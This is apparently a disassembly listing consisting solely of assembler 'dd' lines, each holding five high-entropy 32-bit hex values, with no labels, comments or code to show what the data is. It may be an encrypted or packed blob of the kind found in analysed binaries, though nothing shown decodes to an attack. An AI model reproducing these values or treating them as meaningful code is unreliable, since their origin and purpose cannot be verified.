dd 2534AC6Fh, 0CA98E265h, 55D95D78h, 2F163C90h, 25A8CF63h dd 0BACDDD5Fh, 307FAE27h, 1F57680Ch, 6A45F7A5h, 0FA03930h dd 0CD897C9Dh, 0D940C0A9h, 1CB51C8Bh, 258F3120h, 472EE47h dd 9639E2AAh, 1201B50Eh, 4F4EA7FAh, 61E92398h, 0D0F70B6Eh dd 89DE6093h, 20618D25h, 0C8310B39h, 0D98CC214h, 0F07D74B5h dd 0EA7A245Fh, 12556B4Eh, 0C4015D9Ch, 0E2D06858h, 27F1957h dd 0EB7E6DAEh, 4769EC54h, 6E90640h, 41A3EF5Ah, 4F17419Fh dd 79533121h, 82C60130h, 87107E03h, 6B2E0570h, 57727150h dd 95B568B7h, 0D931805Fh, 8D6CBE4h, 1E683302h, 48195744h dd 0C9536858h, 47D38759h, 5D6E5509h, 2A1EC4BFh, 0BA0145Ah dd 753C36F5h, 52CB7F0Eh, 68C1C47Eh, 0A500528h, 954EC8E9h dd 7BB96DCBh, 45902BBAh, 4ABE581h, 0F702421h, 7F88B887h dd 0BC7632A6h, 875F2B86h, 0ECF415A2h, 0EF640A65h, 0B5051CA4h dd 8FFE42C2h, 413179AFh, 3A9CDCE9h, 0E6817888h, 0C9771F73h dd 527D9640h, 91A0EAECh, 880909D3h, 414A5D7Ah, 0B758A04h dd 0F9E904ADh, 775BA7C8h, 59D97B13h, 0C8415255h, 0CED1F20h dd 4E436415h, 3E3B3728h, 1E7DD1Fh, 0AD18E2CFh, 0E9C44F74h dd 0F5975448h, 0EBFECBh, 12E5514Eh, 1A77BE56h, 649D14E4h dd 69090556h, 0E8597666h, 3E9E074h, 81C4A8C6h, 3BC809EAh dd 28555017h, 782F0886h, 0B8854E3Dh, 4C68F11Dh, 4C76AA2h dd 0BEE942B3h, 0FF6495A0h, 58FD71B5h, 1885AA04h, 9D08EDA0h dd 6234A661h, 82831AF2h, 40D40Ch, 302B275Bh, 0BDB6DE89h dd 0F720576Bh, 1905F1F6h, 65C95650h, 3F447617h, 0B41B0044h dd 3E97CDEAh, 80BAF895h dd 2E3A313Dh, 488C0A0h, 3E6E4924h, 0A55B873Ch, 8C6C17Dh dd 20C49806h, 54909A4Eh, 5A4CE6EEh, 3AC681BEh, 0F3ED3B1Fh dd 0EB5F6FA5h, 30AB7D61h, 801AC061h, 0FEBDAECDh, 0DC589429h dd 349F507h, 9796C413h, 0F0C43E0Dh, 0B699EA21h, 87AF8561h dd 310FC6D0h, 89B9098Ch, 0E23A28FBh, 0AB7E093Eh, 7FC7DD65h dd 29C4E909h, 0EC53838Fh, 0E171A46h, 79C04558h, 77012576h dd 555D515Fh, 0A1CCA768h, 0F03FEF26h, 93608055h, 7370CD2Fh dd 0DF5B49D3h, 0A460F502h, 0C97F8FC3h, 132F833Ch, 4F9DE847h dd 9D922BE0h, 6CB57570h, 70DB959Ah, 4E00642Dh, 885D022Ah dd 0FA5558C2h, 0B598A0F6h, 0EF7A4A3Ah, 127F268Bh, 801D8F58h dd 533A352Dh, 0E91E9315h, 13F84BB4h, 0A5BE1421h, 953050AFh dd 0D56950D1h, 5556169Ah, 673926A8h, 862A469h, 8005E100h dd 60A0E926h, 6BF14BF6h, 6458062Eh, 40592D7Fh, 20262BF5h dd 8C096216h, 0C0B5145h, 1441105Ch, 0E08AD6BEh, 9DE9107Ah dd 3C68096Bh, 91A5B050h, 5520BD75h, 8F60D9C6h, 736B5Ch dd 6D7F2140h, 0E19D3AE9h, 0F1D8AD2Ah, 7A38E9h, 3C4705C9h dd 0F0921A5h, 4B606880h, 0DEC0EDD1h, 0B00AEB7Ch, 710420A2h dd 17D12D1Eh, 85C5DBDEh, 40AB7D6Eh, 0CD26C56Bh, 0FCB04E20h dd 6CE9DF4Ah, 0F959C8C4h, 9FD1124Fh, 687D60EFh, 2AE11C3Fh dd 0BFB4CFE8h, 7398C50Eh, 0F6E062C9h, 0EABDA8E1h, 0B72413DDh dd 0A7680017h, 29DC8846h, 33BC5897h, 4328A1FFh, 0A3E6B416h dd 0CC1839BAh, 55512CD6h, 4353D54Bh, 311706BDh, 12BBDCF2h dd 0F9DCAF70h, 0B103496Eh, 6E559D1Ah, 6446FB75h, 4E2DB357h dd 10E01E17h, 0C7AD5D85h, 0A185915Bh, 80FA04B2h, 0B7778458h dd 0DBEA93C0h, 2E1217A8h, 25BF5E52h, 0D5F6BEC0h, 25562B5h dd 7774DEh, 886EC580h, 3AFCEF58h, 86225A6Ah, 59D3FD57h dd 5B0731A7h, 5A773C29h, 1844B7CDh, 0F59527A7h, 82611372h dd 0BA14A03Ah, 0C53BBE89h, 895DE9E0h, 0BF457D5Dh, 0F67C790Bh dd 41289832h, 6FE18C93h, 4C2694F7h, 0EAC189BAh, 0E8D2BA60h dd 62E1EB7h, 873D5EBAh, 55E4DE64h, 31251902h, 7C23E9DAh dd 3EB40B63h, 47CD5506h, 7B47CF05h, 13C34D07h, 7F6FB04Bh dd 0D25A9D01h, 5B95D20h, 344880BAh, 0EBC4BB75h, 2DACF0Fh dd 0E24A060Ch, 0EC6B774Bh, 6B1C7EBEh, 0A8B05703h, 31B32024h dd 88A293Ch, 66590090h, 81B13851h, 0E078CB3Bh, 0EB803CD3h dd 19C32FF3h, 84609FC0h, 0E31DF99Fh, 765F6232h, 0AFF4F2ACh dd 5C0ED204h, 260513A3h, 422AC4Ah, 45DBCB1h, 0D0FB295Bh dd 0C32BCBC7h, 0C8944B7Ah, 395166ECh, 0AA5ED188h, 2D3BB946h dd 0B15D4A60h, 3AB86A13h, 4A21BBD3h, 9CCB53FFh, 0C4288BEAh dd 7EACF3D3h, 0AD3291C5h, 5E578921h, 7F3E003Bh, 9B90E29h dd 0F94FA671h, 75BF46DCh, 0F462D10h, 32A5C97Ch, 0A459579Eh dd 17CDF758h, 0EB07765Dh, 0A4620ACAh, 421A48B8h, 0BE33C81Dh dd 3A651E8Ah, 0B0819276h, 499D5904h, 58640DBDh, 4F2DFE57h dd 0E455529Ah, 55CEB378h, 0A8A2E4D9h, 7110CAE9h, 83B01F25h dd 3DE0AA52h, 0FDD04B21h, 452D84F0h, 0DE2FF4BDh, 9C579455h dd 0E75069F9h, 0A183294Ch, 0E23BE278h, 0D7588947h, 75501782h dd 0F52705F1h, 0FF2D9D17h, 0E11CD504h, 0C5693E33h, 4E431230h dd 0F1E2A993h, 0B768E745h, 0A2C20987h, 0EBB402DDh, 0ABF20128h dd 29BACC4Fh, 6FC6F52Bh, 0E7303501h, 0FDD05866h, 90E8E05Bh dd 98025A0h, 7DE9D55Ch, 2C7C760Bh, 979161D2h, 344B900h dd 80ACC44Fh, 3BFCC000h, 0ADE4E9A4h, 0C1BC13BDh, 646CE3B1h dd 9BABC4h, 0B850D701h, 511E0003h, 5973525h, 2D011831h dd 66F85EF9h, 0DAF0D8F7h, 69F0B71h, 69A92BE9h, 3C8BB1D4h dd 0CD13C901h, 951A26Bh, 0D7DAED80h, 0B34584D9h, 14DDB90Fh dd 9E8EC484h, 0E27BE00h, 46016872h, 5575E681h, 6C707DEEh dd 0B3781712h, 368E0039h, 51A2157Ch, 7BF18931h, 0F7A65DDBh dd 79441995h, 31FC4D45h, 4252C8D3h, 8B0F4C06h, 1193907h dd 0B5E0E3C2h, 2A31E9B0h, 925EEB13h, 0F948E70Ah, 0F1F031C2h dd 0ABD26298h, 4214D455h, 0C972A580h, 61B2D00h, 9305794Ch dd 69AA0A67h, 14CBDE9h, 0F812B5F7h, 0E18EC7Dh, 8F0865BBh dd 2CAC0757h, 0C01E82C7h, 0A1C4445Dh, 5C028759h, 3E5EF9FDh dd 3D092927h, 5C253ADEh, 0B3A44F4Ch, 1632B4B1h, 19B5279Ah dd 9E7547EEh, 139FE979h, 5F9E8097h, 1F17FCB8h, 8BEE1488h dd 0A75524B4h, 0E382028Ch, 3950BC3h, 0A8DF59F0h, 5A090854h dd 88465750h, 4F495297h, 6990ADEBh, 9C2BF540h, 572F9F70h dd 0A8947DA9h, 1A9BC29Fh, 80CDF4A0h, 787619ABh, 584B7D68h dd 0E983DBE9h, 0FD10A942h, 0FD4B7F3Ch, 763092F7h, 809572E9h dd 37EEC828h, 0CD686FC0h, 0F4786F1Eh, 5E5697E5h, 8EFB4A3Ah dd 10AA4288h, 0B61DAD2Ah, 0BDA3D340h, 635125DCh, 0B80C5FD5h dd 30D30E4Ah, 0DDB1D2C8h, 5CA57C89h, 5E0CBA77h, 0A91622Eh dd 2829410Fh, 8744F8B5h, 9418A2FFh, 20564FECh, 0A109871Eh dd 66849973h, 3EE172F2h, 0B6FE503Bh, 1DC8DACFh, 98950950h dd 6546E911h, 0EAD3B39Eh, 663F8087h, 24167134h, 10B8F821h dd 6EF84F16h, 7C6F8410h, 0AF56E830h, 277721BAh, 82F00C0Dh dd 4DAF735h, 0D7BFFB0Bh, 0FEC16193h, 0D1109DAEh, 0EABF33E4h dd 6AAF3303h, 96A7E8F8h, 0BC89B9CEh, 2194DF16h, 5EE36ADh dd 0F262D080h, 127A5B5Ah, 0B1C2EB00h, 0ACC7DB60h, 2FE92223h dd 0CFE3315Fh, 60F9C682h, 4B57561Eh, 0D9FB6D52h, 20A30621h dd 5BECAA30h, 3D163BEBh, 59A5361Dh, 3BAC16E1h, 40A720F0h dd 5E72046Fh, 70C0EC2Ch, 85A95F3Eh, 0F7E02250h, 0E3DACB21h dd 0DE89840Ch, 8297B9E8h, 3E0D4CFFh, 0DFADEC2Eh, 9A9DD540h dd 0F683E494h, 0EF32C9C6h, 0D5DD89CBh, 682F8944h, 20025A9Bh dd 0B082ABADh, 44BF3482h, 64B06801h, 5953258Bh, 774B60F4h dd 0EFACAE04h, 0BB2AFE8Eh, 24F69FC9h, 0FD7BE971h, 6FC1D666h dd 1816340Dh, 43BF5700h, 0B908C222h, 0CF8716B0h, 717F840h dd 2FFD6856h, 5CBD1424h, 0EA2EE8Eh, 52D55C0Fh, 0BB30BE9Dh dd 25C32710h, 65E7D557h, 399275A7h, 69C65BFFh, 84D95B57h dd 0D42B62E9h, 6BB8BB2Dh, 92DDA94Ah, 5EF8F2AEh, 0D9F62081h dd 2DE91930h, 96579011h, 0B65EFC07h, 0EB051392h, 63A47DC7h dd 0C704CAB2h, 0EE21165Eh, 0ABCC5CB1h, 6DFA1C67h, 0D05297E9h dd 880F0834h, 0FF71687Eh, 0E598DE97h, 0BBFA5614h, 6684114h dd 76BA4DD8h, 0E593C66h, 49687A86h, 0F4259B41h, 1F22496h dd 40FB6842h, 2E625E56h, 9018553Dh, 39203A8Dh, 40170411h dd 81455557h, 285FE96Bh, 9A5024AAh, 5E25AC10h, 954986E4h dd 21ED5030h, 0B40B60B4h, 6AD0DEAFh, 0BC752FCDh, 28DDA077h dd 62C2BE13h, 47D66978h, 0DF545262h, 0F7A520F1h, 7B389E90h dd 30E908E1h, 0EB29962Ch, 0B30E7344h, 0C2BE560Dh, 5F3B3811h dd 0F080CF76h, 0E9123E7Ah, 0C609B5D6h, 483E717Dh, 0A06A097Ah dd 4DCD11A3h, 9E96E599h, 0C544AD06h, 0BF0301Bh, 40DDC98Eh dd 572F8280h, 159126Ah, 0BBF48D7h, 5548D979h, 3E08CDA8h dd 0D0647593h, 3006314Bh, 86E0144Bh, 54D70CB9h, 5A32216Dh dd 0F2C2B119h, 2EA5591Ch, 0E410DD7h, 240AEDF4h, 3DF5836h dd 1E631A2Eh, 3430EFE0h, 9BA150F4h, 3AC43548h, 88A0B8ACh dd 5FEEB2E5h, 6BFBE977h dd 20956EB2h, 0F806E204h, 2140BF68h, 25F930EDh, 0EE312E93h dd 735A10D2h, 8662B1BFh, 3882D02Fh, 875DB09h, 29AD68B7h dd 4AAEB8E8h, 748FEFCDh, 0DD2E90Ah, 13E18195h, 7E023369h dd 0BDBCA504h, 850B84F2h, 4E204EA2h, 33195868h, 2DF129E7h dd 0BAE2D63Ch, 597B97F8h, 3B9FE9E1h, 0B01C0B39h, 46552759h dd 0E46818C7h, 71B4A35Fh, 0EEC90782h, 773237C0h, 0E5C67829h dd 90C0846h, 496359AAh, 4C923410h, 7D4B79B4h, 7E59EDB9h dd 0E9E0EAECh, 0CCB446AEh, 3F895FA7h, 0FBB5D066h, 0AAA03EEDh dd 15565C4Eh, 0B30C401h, 0A7206644h, 3D9C9006h, 49AD3CF3h dd 19EEB980h, 4278707Dh, 0BFD64Eh, 2FA2FA41h, 0A09029BAh dd 98CCCCBFh, 9981F55Dh, 8B3C6EC1h, 85CB2BF9h, 0B5360F04h dd 5B68455Fh, 4EB78550h, 595309h, 5A47D757h, 0AC30ED51h dd 0EF16B662h, 0E3EB8887h, 1C035250h, 0ED80C528h, 1055D1F9h dd 1FF38D96h, 0EC095346h, 525E7EB9h, 0CD12711Eh, 44212DFFh dd 77888174h, 0C98FA0DCh, 0C492DF98h, 0BFF4585Ah, 93049F1Dh dd 0AA10855Dh, 0DD171FD4h, 0DB1D3B95h, 2CC50405h, 86B50BFh dd 0F1ACE918h, 761E78BFh, 793305Bh, 9DC9FE85h, 0DA3EB70h dd 2942371Ah, 522CE9B2h, 0DF0B8B0Ah, 22AAF195h, 580AF284h dd 0E859D00Ah, 0EC684531h, 0AE6C163Ah, 965316CFh, 0A131AC4Ah dd 0BB1501B9h, 0E90BDDF2h, 74CEA58Dh, 0F065CE41h, 2EB19400h dd 92445011h, 42331405h, 2301AC2Bh, 161E416h, 822C7BFAh dd 1EAEBC1Eh, 0FB4D8E68h, 1FC15905h, 80C092A5h, 0FE9EB0D0h dd 4934C809h, 7E305528h, 0A5E302E9h, 0B07F195h, 1CFC4593h dd 0D65FD6Bh, 0F104A3A0h, 17CBD66h, 810FB94h, 0E8688332h dd 8EEA856Fh, 98B2550h, 0B6547Ah, 0F1D9C22Dh, 49F389FBh dd 25AF3B23h, 94638269h, 45B4ABA0h, 0DE7AF480h, 8A00AB5Bh dd 4BCF8147h, 13123B14h, 9697C704h, 89BCC244h, 0B2012DD4h dd 66D02839h, 78C8E130h, 59E1CB04h, 0E9042D6Fh, 0C8FD0CEDh dd 0BED372E4h, 551D2774h, 1F044BB9h, 9DEFD001h, 0ACD244B2h dd 2A68C25Fh, 52462225h, 246D4E0Fh, 0F2AF74BCh, 2013487Bh dd 361BA058h, 5CA5301Ah, 0E51FB2A0h, 966A7160h, 9D7F2242h dd 5D5829F0h, 5C052D0Ch, 632B82A5h, 0FAE002F5h, 5582E553h dd 7F0581C8h, 107AB1B6h, 5BB7680Ah, 0D83CF250h, 0B48EB26h dd 0CD017DA3h, 608A608h, 41BC08E9h, 61BD344Fh, 90EC899Fh dd 77833BD6h, 0DF65DF18h, 12128674h, 649AB5E0h, 0D7955B6Eh dd 0D6772FBAh, 0F15FE9ECh, 7B253867h, 0A56F58F1h, 0C0446E48h dd 0CCBA1D42h, 93413B46h, 539BA07Fh, 0C312E499h, 58F605A0h dd 5820C0D7h, 0CAAE594Eh, 0EA81CAA1h, 0F87A6900h, 6EE4E95Eh dd 0E1A6E6AAh, 0B92D9580h, 8030D931h, 47B75352h, 282680B6h dd 0A40CF4FEh, 40829157h, 0EB04BF56h, 15F3518h, 1330F6EBh dd 2DBC92B6h, 3830B584h, 8A0F0B1Dh, 0DE2070BEh, 95E945B6h dd 0F60F639Ch, 5ECAE5D9h, 0D228AAFh, 104B67E9h, 535A356Fh dd 0CFC4AF10h, 4B84F8AAh, 65F91F53h, 0CD40D2A4h, 0E568B169h dd 890D5718h, 6A5FC391h, 8E8750BCh, 64750977h, 56C7A3F5h dd 51C3E3BAh, 0DA0B57B1h, 0D009880Fh, 0C9FE3CC6h, 69DC8109h dd 20BB70D4h, 0D05D4E25h, 0F31DD80Dh, 58BA4601h, 29953321h dd 0A020172Bh, 4F80BFC8h, 84C76083h, 0F88E8DF7h, 0B52DC67Fh dd 41855125h, 2FF90158h, 674F39BAh, 9811D2EEh, 0D9880E93h dd 284F645Bh, 0E908D5E2h, 9D244332h, 0A41D1903h, 0E6DA2D66h dd 0F0E90281h, 1ACC2A9Dh, 0F4D75F8Ah, 0F609BDB0h, 601C4E01h dd 80B481F0h, 0E0A0E1C1h, 0C20472F1h, 0CB31F9F4h, 0CD75ACFAh dd 6496F2E9h, 4597095Ch, 0DDC5A054h, 0AA74D5EAh, 5010E6CEh dd 17FF92B8h, 6E5664Eh, 12265660h, 34233935h, 820B16BEh dd 0F01822Fh, 163A7880h, 8871AB54h, 8251BEA3h, 0FB22864Ah dd 7172077h, 0AB045C0Bh, 8038C128h, 0C4B8AD7Eh, 881ADAD4h dd 8AF8A866h, 0B0DD0A9Fh, 0C9FF4E3Bh, 84366926h, 81045817h dd 47FEC7F6h, 5EF3E071h, 4C1DBF7h, 4D3E8D0Fh, 27DDC1A7h dd 0C862C6C2h, 3FD9FF5Ch, 0E1BA5012h, 0A8AC2F8Fh, 0A6EC09E5h dd 1716B022h, 0C025DB28h, 5E4B0B27h, 0ADCAE129h, 5FB9C20Dh dd 9B7BF46h, 504F87ABh, 5F4F9682h, 0D8F74DB8h, 2860C590h dd 7FBA3563h, 96F48F9h, 590FA95Ch, 66A94968h, 0F301E15Eh dd 4FDF7205h, 0F0BFCD42h, 4173BF7Ah, 7BE95361h, 57E5DD2h dd 2E26E7A8h, 464F5CA5h, 25EF565Dh, 0AAE66D9Bh, 9379B925h dd 87DC1A1h, 0F7801087h, 88978293h, 73311D8Bh, 21916B53h dd 0C3D658E3h, 0F5C5C2EEh, 0CE3E7F9h, 5E14FFFAh, 421D3DBBh dd 0F3F598E3h, 0FA1CC431h, 0A24AF1B6h, 7E89E2C6h, 50490AC4h dd 48510B9Ah, 0C4687FFCh, 0AFCC2713h, 0E56917BEh, 293A0F7Ah dd 807FFE25h, 8B5D52ECh, 56A67160h, 9D1BD54Eh, 8837252h dd 7A141C41h, 161DD4E0h, 0F0051C72h, 8240072Bh, 1A321CB9h dd 0D0247017h, 7BE3E8E5h, 4EBB0012h, 0CA351202h, 64EF219h dd 0BC007E53h, 0E903E7C0h, 0BFA296C6h, 0E615380Bh, 0F07AAF05h dd 5A5B5BCDh, 1DF534FFh, 20F5A5FCh, 15BDEDC7h, 0EB054B11h dd 1B59E98Ah, 6A7F2FD8h, 0A5A1744Eh, 44BC3C2Bh, 0AC7EC741h dd 0EF810000h, 0F2FAC1CDh, 2E5FE689h, 0CB4E6468h, 8552B05Ch dd 0BBB8E8BAh, 7EE2AFB5h, 0BC31AB93h, 312BC782h, 2BAF6807h dd 1840A1B7h, 0C2F4B555h, 0C31720F8h, 4F6F6893h, 0A8FF1716h dd 68058DBBh, 0E2AED36Ch, 7065DC4Bh, 75262D97h, 724B195Eh dd 0D9988146h, 4EA36430h, 0E0B6E863h, 3F0CCDBAh, 0CA00471Ah dd 1BF07E37h, 0A14A85E9h, 35E0DD45h, 0FAF997D2h, 0BBD6407Ah dd 0D5599369h, 66D972CBh, 0CBE23B39h, 4AC32610h, 74F265A4h dd 36632650h, 1D87008Bh, 0D331C869h, 32211A81h, 5B786620h dd 77593176h, 29E90069h, 59189F49h, 0F4263312h, 4B00CC71h dd 21300827h, 5EFA98F0h, 40FCD8h, 8A3DB825h, 5FB2E915h dd 0D2524B47h, 49556E6Ah, 0DCD55806h, 0CBE41EF4h, 0AB75C2DDh dd 0C26B5471h, 205F0D64h, 4D38C598h, 0F3413D9h, 52A1AB8Fh dd 0CB82A22Ah, 27FF5A5Fh, 9C5CE76Eh, 0A0FAC96Bh, 1EA8447Ah dd 0A2041343h, 81002D99h, 342761EEh, 0C759335Fh, 0F805E3C8h dd 23D318E2h, 1291F62Dh, 0AAD69B9Ch, 0B5F0C312h, 6AD2D68h dd 2073BF66h, 0F267A12Dh, 3C0460E0h, 58D00A8Dh, 2F1CF09Fh dd 702E54D7h, 99277C82h, 0B0A3D0DDh, 0B5C925D6h, 3A78A7F4h dd 52163F5Eh, 43DAE102h, 77E0017Eh, 9A2F36A3h, 0F90F66Bh dd 13360461h, 5136E016h, 5F685703h, 0E1775013h, 19A6CAE3h dd 2D9410F5h, 581B7D5Bh, 2AB1E7E9h, 563A997h, 5147A97Ah dd 195BB9E0h, 0FFD6E92Bh, 0F4342C59h, 542658E3h, 0DFAC0A9Eh dd 0FDD1A5C6h, 0E0BE033Ch, 0E0EE897Ch, 49E9F129h, 5B2F2923h dd 0B0F5F289h, 0B56D613Eh, 7FF564CCh, 5051C7D1h, 0BFEFB5C8h dd 0CDFE20C0h, 0C02E0AC5h, 7CE95D80h, 0BD5CC046h, 161E14BFh dd 0F2D686C1h, 0C320F8ADh, 0DB730E56h, 10D22950h, 0E91208DEh dd 99B4BCDAh, 0D9DF7420h, 0B32622F8h, 0EC5EF512h, 3569C1B8h dd 0EB7D0E31h, 273AF680h, 0F7A4250h, 65F1465Fh, 50C9BA63h dd 850F6D6h, 58D1A967h, 58D255C9h, 787D2FE8h, 0F299355Ch dd 0DB415D0Eh, 14873771h, 0F94086C1h, 0E910380Ch, 44C5F582h dd 70B88EBFh, 2408A06h dd 52600586h, 96E09D40h, 0D89E8283h, 37E05F52h, 0BD8031D4h dd 1149282Ch, 971C2AC0h, 616E0ADFh, 2BA0B15h, 0CE3180C6h dd 40F48BDDh, 5FC2E97Ch, 4432BFBDh, 0F7A38F02h, 40A72A0Fh dd 0EE0177FCh, 24032DE9h, 4A2064FAh, 0F52828C3h, 35694A95h dd 25880EF3h, 0C5DAB877h, 0D3BD2DFBh, 3C4A0975h, 1C55BBCBh dd 70ECEDDEh, 5E770405h, 0BB2E850Fh, 38AEEE17h, 55035AD2h dd 0D03733BDh, 0BCC41E75h, 0F13026Bh, 59CAF682h, 10A697Dh dd 0C45A9408h, 51EE62BEh, 5C43A340h, 0C4F61BC0h, 9EF4DFF1h dd 0CFC82547h, 0CFC6713Fh, 0B284EDEh, 5978C1A3h, 2D07D270h dd 236E7B45h, 49333A50h, 0D801140Dh, 0B4680705h, 7E582512h dd 40E5B58h, 152C19CFh, 471745ADh, 78D8AE6Ah, 28404565h dd 0F83727B9h, 39F39DD8h, 0CE281F84h, 0C365ACEAh, 0D401EE80h dd 0EA1CB782h, 0E2D1D999h, 5D59E1F7h, 123439A8h, 0A6AE7C4Ch dd 9852DBCh, 87B7B85h, 0F7253D2Dh, 48382C4h, 0CB54F1FAh dd 9B08D326h, 8A0F025Eh, 0E5FD87FEh, 9DCB8E02h, 0A6B46011h dd 25178316h, 6CE04EE9h, 5A585859h, 71E8C539h, 25B1C7F8h dd 405A180Eh, 0C275017h, 5710DF11h, 5AD641F9h, 0F30788AAh dd 552DA694h, 0C2790707h, 87D7ED7Ah, 8139F777h, 0A2337FEAh dd 1EF2170h, 0BD0685C8h, 35594FE9h, 72CFF0BDh, 7F487618h dd 90359E30h, 2556732Dh, 7FFEEBEFh, 0D0464F60h, 57215C25h dd 92FDA52Fh, 18346043h, 0A371B511h, 4E2C0C0h, 6ACA4C80h dd 21CF0216h, 435B04Eh, 3B1103B8h, 86E2036Ch, 15D3A77h dd 0FF57110Ch, 2E2EE962h, 276835CCh, 0DAF90355h, 56BB08Bh dd 1E4E879h, 0F036DC05h, 7EAF559h, 0CC446624h, 25DA8408h dd 61427CFBh, 9C185719h, 32CF9F78h, 0FA58CE45h, 95AB770Ch dd 6892A1D5h, 0F0241511h, 0EED64AEBh, 3AECF399h, 24909D58h dd 43651568h, 8A943531h, 3F799EBh, 258EB295h, 0B73EA820h dd 68699451h, 0AB60AF2Ah, 0C005B281h, 30734008h, 0E8AA2855h dd 624F2E27h, 4B1057F8h, 0F45B2F79h, 59A182A9h, 8B626084h dd 5751F2F9h, 0EB93403Ch, 467DE300h, 9F29441Ch, 0C2A6E5D3h dd 2B704304h, 803DFB5h, 753A0453h, 0BB3D1E3Ch, 0B8509BC0h dd 610A314Fh, 44D7FD4h, 0D148A009h, 8A430E5Bh, 2340AF53h dd 5FA655F3h, 12E99633h, 3D71EF56h, 0D46816E9h, 5BD9AF4Ah dd 9F4AB42h, 1725CBAAh, 8C69BCB6h, 805D7CDEh, 35004058h dd 7D7724DAh, 72213E25h, 1647EAC9h, 0F054A42Bh, 0BA1C5268h dd 5C5253B0h, 0BE2A94AFh, 0A5D39AF6h, 59AF3B77h, 244B431h dd 0A1E6C191h, 2404F6Bh, 0B2D397DEh, 7A257845h, 2C6D7D73h dd 5B44D28Bh, 5CE90459h, 55CC907Fh, 59093468h, 705D3730h dd 0E90FC452h, 5A64ECF2h, 0E289CB2Dh, 0E556AC0Fh, 0BDE050CBh dd 57021958h, 0E5A5EBFh, 571DE23Eh, 0C0AC0053h, 1E417D17h dd 3698090Bh, 0A988EDE8h, 0E4DDF8D4h, 5C132C38h, 4EDB0952h dd 509D146h, 0FF29AC17h, 5A0F5116h, 0F060F338h, 764A210h dd 4EF86866h, 0E9FA5444h, 128248D9h, 5FE56F57h, 0AF9F67E9h dd 363345C2h, 0EA159262h, 802FB29h, 923A30E7h, 0EFA356FAh dd 63DCB05Fh, 6DD36818h, 0C9A79AF7h, 7C00CDE3h, 12BE20CAh dd 1E88312h, 0B3FD8E01h, 0F17FCF84h, 58D6427Fh, 3F050AF6h dd 1BC166A1h, 0F600BAA0h, 0CF1EFEDFh, 2886EF80h, 5065BF8h dd 0E9B3B753h, 0BA4FA0CAh, 3B0AEA0Ch, 0C17DD650h, 0E942706Ah dd 0FD697Ch, 0BD7772F1h, 3FCA296Ch, 9D985D59h, 0CE864062h dd 51C6FE07h, 0CFC2E3B1h, 0EF92A0A0h, 5E731FFAh, 0A9BC3457h dd 0D2E116F6h, 0FD822E34h, 55C0712h, 56C4BBD8h, 3605C9EDh dd 8560FF19h, 0E8E0BBB9h, 0AEFC5F2Bh, 40230F73h, 7F3FA037h dd 0BA1A015Ah, 5519BD2Ch, 6B74CE9h, 0C1633C48h, 4CA14F09h dd 5BCB57Bh, 56B59208h, 0CBFB7657h, 4BD516F7h, 4312882Ch dd 89028209h, 3BDC2DCAh, 2813012Bh, 2F2AE662h, 0B609C7E0h dd 0A25D2D8Ah, 293BB9C1h, 7ACD9E61h, 0EF683502h, 82487947h dd 65E0802h, 92EB22D7h, 446607F7h, 85BDEAD9h, 0BD8A553Ch dd 16917FB1h, 52FD523Dh, 0FACEEAE2h, 6E9F6809h, 64626FF4h dd 5869546Dh, 7A4A46E9h, 8DD00F27h, 0B815A86Ch, 11719Dh dd 0BB531B0Bh, 0FA9D5B78h, 850B314Eh, 0A6667DD0h, 4ADD2D07h dd 0F8E6531Ch, 3CD4091Ah, 9D550CBh, 834174ACh, 2ABA5382h dd 0CF5F2638h, 261522B3h, 0EE748258h, 0BAEFD2A8h, 444A512Ch dd 5FEEE71Ah, 65FC445Ah, 3A9BF1C6h, 0CDB35317h, 4B38211Eh dd 0F8AD29AAh, 46924B73h, 2E57CA09h, 183FFA8h, 6D241D0Dh dd 9AA56F26h, 50CEF40Eh, 675BB468h, 0C2886BF3h, 42091471h dd 8FC93AC9h, 0F0B9298h, 0DE4E0D0Bh, 0B86851B8h, 44BB5B43h dd 135208BCh, 4F5EE633h, 1502BE9Eh, 5465E950h, 0B0F72732h dd 959ED490h, 0F6011912h, 0E219596Eh, 4242BA8Eh, 0B86273DFh dd 0C27D15ABh, 0C6AD15Ah, 0DA5B9CBAh, 8E860F09h, 707276DDh dd 8827E38Ah, 4C69D4C1h, 5478A824h, 2AB01D4Eh, 4E9FFE53h dd 91EC9078h, 3748A523h, 210A002Ah, 3DE92D74h, 8864CBC9h dd 0F745165Fh, 98C0AB20h, 2CFCC416h, 64EA13E5h, 2A5EB6Ch dd 0ACBEB704h, 5B74778h, 0FC8AD888h, 1496A701h, 0CB7F4ADEh dd 76FC5AB1h, 2368500Bh, 0B92CF604h, 0F35B740Dh, 0B5687931h dd 0C0E3E42Ah, 73E81741h, 8A6CBD0Ah, 16808D83h, 2D18278Bh dd 10A15FCh, 5B17BEC1h, 0DA0D3BBAh, 0D05BD827h, 5D4DE99Dh dd 82AB2ED2h, 7EC85082h, 3B73CB80h, 0DDD060F7h, 806AA241h dd 70359DDCh, 0E9CF212Eh, 0F794422Dh, 78B733CEh, 0D10227Fh dd 774E66BDh, 0A8304A68h, 0B45080AFh, 4A69E911h, 7B1FCD22h dd 2D6863DCh, 37D90F3Eh, 0E8E3056Bh, 0C2F98BEEh, 0F1400A68h dd 0FCB18BB3h, 0AFB9C5D7h, 344825Dh, 1DE88A2Eh, 0B8409F12h dd 31649C2Dh, 6215F42Fh, 0DFB18B58h, 0D0AF017Bh, 0CFCB0945h dd 0A5837504h, 220B4EF3h, 7DD829F4h, 59C22E31h, 59130A5h dd 0FB3BD6A0h, 0D9AAFF4Fh, 16047686h, 638C09FBh, 0DC5E1CB6h dd 13F0EF67h, 7140A290h, 81644E2Ch, 0DBB6526Fh, 58F9F083h dd 8265ADC8h, 1A2AA74h, 0C9C68852h, 0A48B3EF5h, 85D5F61Fh dd 0AB8659E8h, 3BFFA183h, 0EB030B06h, 0BEDCE96Bh, 0F0274976h dd 8174A086h, 2E64D7F6h, 17B25650h, 0E99B4FEFh, 0D5271A0Ch dd 55F09571h, 725D5E25h, 8C605E5h, 84EE2F5Bh, 0F2F3BEE2h dd 432FE5Fh, 39F975F8h, 19986805h, 6208D64Bh, 0AA3C5D2Bh dd 0ECA60D9Fh, 1624AD6Eh, 49065450h, 1E1F4811h, 52C288E7h dd 358280DEh, 6D2D2CECh, 49135032h, 0F95E0C62h, 4FF200B5h dd 0F089E7Fh, 7E662785h, 0A2599527h, 3AC177B5h, 42042BBCh dd 0E5CCEAD1h, 0C759759h, 1661EACAh, 0D184041h, 6B0D63A6h dd 4BDD94A4h, 0D324B25Bh, 1293300Eh, 0B495E2AEh, 1755FDAFh dd 4B4041E9h, 1747E3B9h, 0F1810258h, 486B6AA1h, 980BFFh dd 9E19F9B1h, 9C579706h, 